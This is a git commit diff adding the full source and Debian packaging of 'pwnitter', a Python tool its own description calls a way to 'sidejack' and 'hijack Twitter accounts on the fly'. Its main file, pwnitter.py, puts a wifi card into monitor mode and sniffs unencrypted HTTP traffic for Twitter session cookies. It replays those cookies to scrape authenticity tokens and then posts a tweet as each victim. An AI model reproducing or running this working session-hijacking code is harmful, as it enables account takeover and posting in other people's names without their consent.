From: Tobias Mueller Date: Sun, 19 Dec 2010 11:56:50 +0000 (+0530) Subject: Initial checkin X-Git-Url: http://vcs.maemo.org/git/?p=pwnitter;a=commitdiff_plain;h=6a3bd277cb62fdb1211603191b00c91606f75e6a Initial checkin --- diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..29c68da --- /dev/null +++ b/Makefile @@ -0,0 +1,6 @@ +all: + python setup.py build +clean: + python setup.py clean --all +install: + python setup.py install --prefix /usr/ --root $(DESTDIR) diff --git a/de.cryptobitch.muelli.Pwnitter.service b/de.cryptobitch.muelli.Pwnitter.service new file mode 100644 index 0000000..b372490 --- /dev/null +++ b/de.cryptobitch.muelli.Pwnitter.service @@ -0,0 +1,4 @@ +[D-BUS Service] +Name=de.cryptobitch.muelli.Pwnitter +Exec=/usr/bin/pwnitter.py +User=root diff --git a/debian/README.Debian b/debian/README.Debian new file mode 100644 index 0000000..47bdafa --- /dev/null +++ b/debian/README.Debian @@ -0,0 +1,6 @@ +pwnitter for Debian +------------------- + + + + -- unknown Fri, 17 Dec 2010 12:50:54 +0530 diff --git a/debian/changelog b/debian/changelog new file mode 100644 index 0000000..1908f02 --- /dev/null +++ b/debian/changelog @@ -0,0 +1,89 @@ +pwnitter (0.0.2-1) freemantle; urgency=low + + * Loaded the wrong binary in the .desktop file, now loading pwnitter-gtk + * Named the dbus .service to reflect the service name, otherwise it + would throw an error + * Called the right iw and ifconfig binaries + * Made it not block on exit + -- Tobias Mueller Fri, 17 Dec 2010 16:21:37 +0530 + +pwnitter (0.0.1-12) freemantle; urgency=low + + * Allow the wireless to be set up and teared down by the service itself + * Make the status a field of the Pwnitter class + * Export the status via DBus + + -- Tobias Mueller Fri, 17 Dec 2010 16:14:23 +0530 + +pwnitter (0.0.1-11) freemantle; urgency=low + + * Using debhelper7 to build + + -- Tobias Mueller Fri, 17 Dec 2010 15:57:37 +0530 + +pwnitter (0.0.1-10) freemantle; urgency=low + + * Fixed an exception in the GUIs callback handler + * Made the setup script install in /usr/ prefix + + -- Tobias Mueller Fri, 17 Dec 2010 15:41:21 +0530 + +pwnitter (0.0.1-9) freemantle; urgency=low + + * Fix an icon naming clash by renaming this icon to smth sane + + -- Tobias Mueller Fri, 17 Dec 2010 15:20:48 +0530 + +pwnitter (0.0.1-8) freemantle; urgency=low + + * Hm, distutils installed in /scratchbox/ for whatever reason, now + explicitely installing in /usr/ + + -- Tobias Mueller Fri, 17 Dec 2010 15:04:39 +0530 + +pwnitter (0.0.1-7) freemantle; urgency=low + + * removing binary-arch from Makefile, because we don't have binaries + + -- Tobias Mueller Fri, 17 Dec 2010 14:56:08 +0530 + +pwnitter (0.0.1-6) freemantle; urgency=low + + * Now installing into the correct directory, so that the deb package + can actually pick the files up + + -- Tobias Mueller Fri, 17 Dec 2010 13:38:53 +0530 + +pwnitter (0.0.1-5) freemantle; urgency=low + + * Turns out, debian/files was missing. Not knowing the semantics + right now, just pushing an empty file + + -- Tobias Mueller Fri, 17 Dec 2010 13:32:48 +0530 + +pwnitter (0.0.1-4) freemantle; urgency=low + + * build on i386 fails on the builder only due to dpkg-genchanges: + error: cannot read files list file: No such file or directory + thus trying again + + -- Tobias Mueller Fri, 17 Dec 2010 13:27:00 +0530 + +pwnitter (0.0.1-3) freemantle; urgency=low + + * Previous build failed due to "OSError", just trying again + + -- Tobias Mueller Fri, 17 Dec 2010 13:18:53 +0530 + +pwnitter (0.0.1-2) unstable; urgency=low + + * Made the setup.py install all necessary files, hopefully + + -- Tobias Mueller Fri, 17 Dec 2010 13:10:37 +0530 + +pwnitter (0.0.1-1) unstable; urgency=low + + * Initial release (Closes: #nnnn) + + -- unknown Fri, 17 Dec 2010 12:50:54 +0530 + diff --git a/debian/compat b/debian/compat new file mode 100644 index 0000000..7ed6ff8 --- /dev/null +++ b/debian/compat @@ -0,0 +1 @@ +5 diff --git a/debian/control b/debian/control new file mode 100644 index 0000000..21183bb --- /dev/null +++ b/debian/control @@ -0,0 +1,25 @@ +Source: pwnitter +Section: net +Priority: extra +Maintainer: Tobias Mueller +#Build-Depends: debhelper (>= 5) +Build-Depends: debhelper7 +Standards-Version: 3.7.2 + +Package: pwnitter +Architecture: any +Depends: ${shlibs:Depends}, ${misc:Depends}, libpcap0.8, python-pypcap, python-dpkt, python-gtk2, python-dbus, iw +Description: A simple tool to sidejack Twitter accounts + This tool listens on a wifi interface and tries to extract necessary cookies +XB-Maemo-Icon-26: + iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAAABmJLR0QA/wD/AP+g + vaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gURDQoYya0JlwAAAU9J + REFUSMftlL1KA0EUhb/NZl/ggnHQxsJUxt5CUucVJCCkDfgyKdIGG5/A0s5HEBtJ + EdDAQGBgmw0YJmMzgXXYza5CtNkDW9zZw5z7c+ZCgwb/Ai3i9sVl/Bq8RIs4LRK1 + gJDsKvJyNXmJMuYTsMoY1zpgozaABdYArQNPZQ1kfyGU7SpqVwxzAMwABWhgpIwp + 4vWBB+AUWAI3ypjnfEXtPU4bLKx9vErTeCeiRSYF+fTn1j5dp2myE9EiU+DSi3wX + ymeqRQAmZ3EcA5E/fgO6BULT8zhOcrwXoJdrXRa2Lgps2y2odAUcBUIXQdz78YyC + SldAp8b7+bXrIv91qjZBietqCc2DjbAt4b2WxJkyZljVujlwp0U0cPxuLcAIuC+4 + dKxFlsDJarvdAGP/b6hFnDImYs+uG3hbO2AB3Jbsur63tQM+fFx3bzZocEB8AdV2 + gJBZgKTwAAAAAElFTkSuQmCC + diff --git a/debian/copyright b/debian/copyright new file mode 100644 index 0000000..dd9a8fe --- /dev/null +++ b/debian/copyright @@ -0,0 +1,22 @@ +This package was debianized by Tobias Mueller on +Fri, 17 Dec 2010 12:50:54 +0530. + +It was downloaded from + +Upstream Author: + +Copyright: + +License: + + + + +The Debian packaging is (C) 2010, unknown and +is licensed under the GPL, see `/usr/share/common-licenses/GPL'. + + +# Please also look if there are files or directories which have a +# different copyright/license attached and list them here. + diff --git a/debian/dirs b/debian/dirs new file mode 100644 index 0000000..ca882bb --- /dev/null +++ b/debian/dirs @@ -0,0 +1,2 @@ +usr/bin +usr/sbin diff --git a/debian/docs b/debian/docs new file mode 100644 index 0000000..e69de29 diff --git a/debian/rules b/debian/rules new file mode 100644 index 0000000..cbe925d --- /dev/null +++ b/debian/rules @@ -0,0 +1,3 @@ +#!/usr/bin/make -f +%: + dh $@ diff --git a/pwnitter-dbus.conf b/pwnitter-dbus.conf new file mode 100644 index 0000000..755e2d0 --- /dev/null +++ b/pwnitter-dbus.conf @@ -0,0 +1,33 @@ + + + + + + + + + + + + + + + diff --git a/pwnitter-gtk b/pwnitter-gtk new file mode 100755 index 0000000..421fee8 --- /dev/null +++ b/pwnitter-gtk @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +import dbus +import dbus.mainloop.glib +import gobject +import gtk +import hildon + + +def callback(name): + print "called back" + counter = int(button.get_label()) + button.set_label(str(counter+1)) + +dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) +bus = dbus.SystemBus() +NAME = 'de.cryptobitch.muelli.Pwnitter' +IFACE_NAME = 'de.cryptobitch.muelli.Pwnitter' +pwnitter = dbus.Interface(bus.get_object(NAME, '/Pwnitter'), IFACE_NAME) +pwnitter.connect_to_signal("MessageSent", callback) + +def quit(window, *args): + pwnitter.Stop() + gtk.main_quit() + +def start(): + pwnitter.Start('mon0') + +window = hildon.Window () +window.set_title ("pwnitter") +window.connect("destroy", quit) + +button = gtk.Button ("0") +window.add (button) + +window.show_all() + +gobject.idle_add(start) + +gtk.main() diff --git a/pwnitter.desktop b/pwnitter.desktop new file mode 100644 index 0000000..c5aa909 --- /dev/null +++ b/pwnitter.desktop @@ -0,0 +1,7 @@ +[Desktop Entry] +Version=1.0.0 +Encoding=UTF-8 +Name=Pwnitter +Exec=/usr/bin/pwnitter-gtk +Icon=pwnitter_icon_26x26 +Type=Application diff --git a/pwnitter.py b/pwnitter.py new file mode 100755 index 0000000..61c98e4 --- /dev/null +++ b/pwnitter.py @@ -0,0 +1,227 @@ +#!/usr/bin/env python +# On Linux (as root): +# * apt-get install libpcap0.8 python-pypcap python-dpkt +# * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up +# * ./idiocy.py -i mon0 + +import dbus.service +import dbus.mainloop.glib +import getopt, sys, pcap, dpkt, re, httplib, urllib +import socket +import time +import gobject +import select +import subprocess + +status = 'I browsed twitter insecurely on #fossdotin and all I got was this lousy tweet.' + +def usage(): + print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] + sys.exit(1) + +NAME = 'de.cryptobitch.muelli.Pwnitter' + +class Pwnitter(dbus.service.Object): + def __init__(self, bus, object_name, device='mon0'): + super(Pwnitter, self).__init__(bus, object_name) + self.device = device + + self.status = status + self.is_running = False + + @dbus.service.method(NAME, + in_signature='', out_signature='') + def Start(self, device='mon0'): + # FIXME: Prevent double Start() + cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split() + subprocess.call(cmd) + cmd = '/sbin/ifconfig mon0 up'.split() + subprocess.call(cmd) + self.is_running = True + try: + self.cap = pcap.pcap(device) + except OSError, e: + print "Error setting up %s" % device + raise e + self.cap.setfilter('dst port 80') + gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent)) + + @dbus.service.signal(NAME) + def MessageSent(self, who): + print "Emitting MessageSent" + return who + return False + pass + + @dbus.service.method(NAME, + in_signature='s', out_signature='') + def SetMessage(self, message): + self.status = message + + @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties + in_signature='', out_signature='s') + def GetMessage(self): + return self.status + + @dbus.service.method(NAME, + in_signature='', out_signature='') + def Stop(self): + self.is_running = False + print "Receive Stop" + cmd = '/sbin/ifconfig mon0 down'.split() + subprocess.call(cmd) + cmd = '/usr/sbin/iw dev mon0 del'.split() + subprocess.call(cmd) + loop.quit() + + + def pwn(self, device, tweeted_callback=None): + processed = {} + if self.is_running: # This is probably not needed, but I feel better checking it more than too less + #for ts, raw in self.cap: # This blocks. Which is unfortunate if the application wants to exist + cap_fileno = self.cap.fileno() + rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5) + #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist) + if cap_fileno in rlist: + ts, raw = self.cap.next() + eth = dpkt.ethernet.Ethernet(raw) + #print 'got a packet' + # Depending on platform, we can either get fully formed packets or unclassified radio data + if isinstance(eth.data, str): + data = eth.data + else: + data = eth.data.data.data + + hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) + if hostMatches: + print 'Host matched' + host = hostMatches.group(1) + + cookieMatches = re.search('Cookie: ([^\n]+)', data) + if cookieMatches: + cookie = cookieMatches.group(1) + + headers = { + "User-Agent": "Mozilla/5.0", + "Cookie": cookie, + } + + conn = httplib.HTTPSConnection(host) + try: + conn.request("GET", "/", None, headers) + except socket.error, e: + print e + else: + response = conn.getresponse() + page = response.read() + + # Newtwitter and Oldtwitter have different formatting, so be lax + authToken = '' + + formMatches = re.search("<.*?authenticity_token.*?>", page, 0) + if formMatches: + authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0)) + + if authMatches: + authToken = authMatches.group(1) + + nameMatches = re.search('"screen_name":"(.*?)"', page, 0) + if not nameMatches: + nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0) + + name = '' + if nameMatches: + name = nameMatches.group(1) + + + # We don't want to repeatedly spam people + # FIXME: What the fuck logic. Please clean up + if not ((not name and host != 'mobile.twitter.com') or name in processed): + headers = { + "User-Agent": "Mozilla/5.0", + "Accept": "application/json, text/javascript, */*", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "X-PHX": "true", + "Referer": "http://api.twitter.com/p_receiver.html", + "Cookie": cookie + } + + + print 'Issueing connection' + if host == 'mobile.twitter.com': + + params = urllib.urlencode({ + 'tweet[text]': self.status, + 'authenticity_token': authToken + }) + + conn = httplib.HTTPConnection("mobile.twitter.com") + conn.request("POST", "/", params, headers) + + else: + + params = urllib.urlencode({ + 'status': self.status, + 'post_authenticity_token': authToken + }) + + conn = httplib.HTTPConnection("api.twitter.com") + conn.request("POST", "/1/statuses/update.json", params, headers) + + + response = conn.getresponse() + print 'Got response: %s' % response.status + if response.status == 200 or response.status == 302 or response.status == 403: + + if name: + processed[name] = 1 + + # 403 is a dupe tweet + if response.status != 403: + print "Successfully tweeted as %s" % name + print 'calling %s' % tweeted_callback + if tweeted_callback: + tweeted_callback(name) + else: + print 'Already tweeted as %s' % name + + else: + + print "FAILED to tweet as %s, debug follows:" % name + print response.status, response.reason + print response.read() + "\n" + #break # Break after one read packet + return self.is_running # Execute next time, we're idle + # FIXME: Ideally, check whether Pcap has got data for us + +def main(): + + opts, args = getopt.getopt(sys.argv[1:], 'i:h') + device = None + for o, a in opts: + if o == '-i': + device = a + else: + usage() + #pwn(device) + + + +if __name__ == '__main__': + dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) + + #session_bus = dbus.SessionBus() + session_bus = dbus.SystemBus() + name = dbus.service.BusName(NAME, session_bus) + pwnitter = Pwnitter(session_bus, '/Pwnitter') + #object.Start() + + loop = gobject.MainLoop() + print "Running example signal emitter service." + # FIXME: This is debug code + #gobject.idle_add(pwnitter.MessageSent) + + loop.run() + print "Exiting for whatever reason" + #main() diff --git a/pwnitter_icon_26x26.png b/pwnitter_icon_26x26.png new file mode 100644 index 0000000..3a7014e Binary files /dev/null and b/pwnitter_icon_26x26.png differ diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..3ac03fa --- /dev/null +++ b/setup.py @@ -0,0 +1,18 @@ +from distutils.core import setup + +setup(name='pwnitter', + version='0.0.2', + author='Tobias Mueller', + author_email='tobiasmue@gnome.org', + license='GPLv3+', + description='Pwnitter hijacks Twitter accounts on the fly', + long_description='''Pwnitter listens on traffic and tries to extract authentication data from Cookies and uses that to post an own message to Twitter''', + #FIXME: That installs to /scratchbox/ for whatever reason scripts=['pwnitter.py', 'pwnitter-gtk'], + data_files = [ # FIXME: Probably abstract /usr/ + ('/usr/share/pixmaps', ['pwnitter_icon_26x26.png']), + ('/usr/share/applications/hildon', ['pwnitter.desktop']), + ('/usr/share/dbus-1/system-services', ['de.cryptobitch.muelli.Pwnitter.service']), + ('/etc/dbus-1/system.d', ['pwnitter-dbus.conf']), + ('/usr/bin', ['pwnitter.py', 'pwnitter-gtk']), + ] + ) diff --git a/simpledaemon.py b/simpledaemon.py new file mode 100755 index 0000000..2d4901a --- /dev/null +++ b/simpledaemon.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +import dbus +import dbus.service +import dbus.mainloop.glib +import gobject + +class SomeObject(dbus.service.Object): + @dbus.service.method("de.cryptobitch.muelli.Pwnitter", + in_signature='s', out_signature='as') + def HelloWorld(self, hello_message="default"): + print (str(hello_message)) + return ["Hello", " from example-service.py", "with unique name", + session_bus.get_unique_name()] + @dbus.service.method("de.cryptobitch.muelli.Pwnitter", + in_signature='', out_signature='') + def EmitSignal(self): + self.MessageSent('foo') + + @dbus.service.signal("de.cryptobitch.muelli.Pwnitter") + def MessageSent(self,who): + print 'emitting' + + def emit_and_true(self): + self.MessageSent('always') + return True +if __name__ == '__main__': + dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) + + session_bus = dbus.SystemBus() + name = dbus.service.BusName("de.cryptobitch.muelli.Pwnitter", session_bus) + object = SomeObject(session_bus, '/Pwnitter') + + mainloop = gobject.MainLoop() + gobject.timeout_add(5 * 1000, object.emit_and_true) + print "Running example service." + mainloop.run() diff --git a/stop.py b/stop.py new file mode 100644 index 0000000..e88076a --- /dev/null +++ b/stop.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python + +import dbus + +bus = dbus.SystemBus() +pwnitter = dbus.Interface(bus.get_object('de.cryptobitch.muelli.Pwnitter', '/Pwnitter'), 'de.cryptobitch.muelli.Pwnitter') +pwnitter.Stop()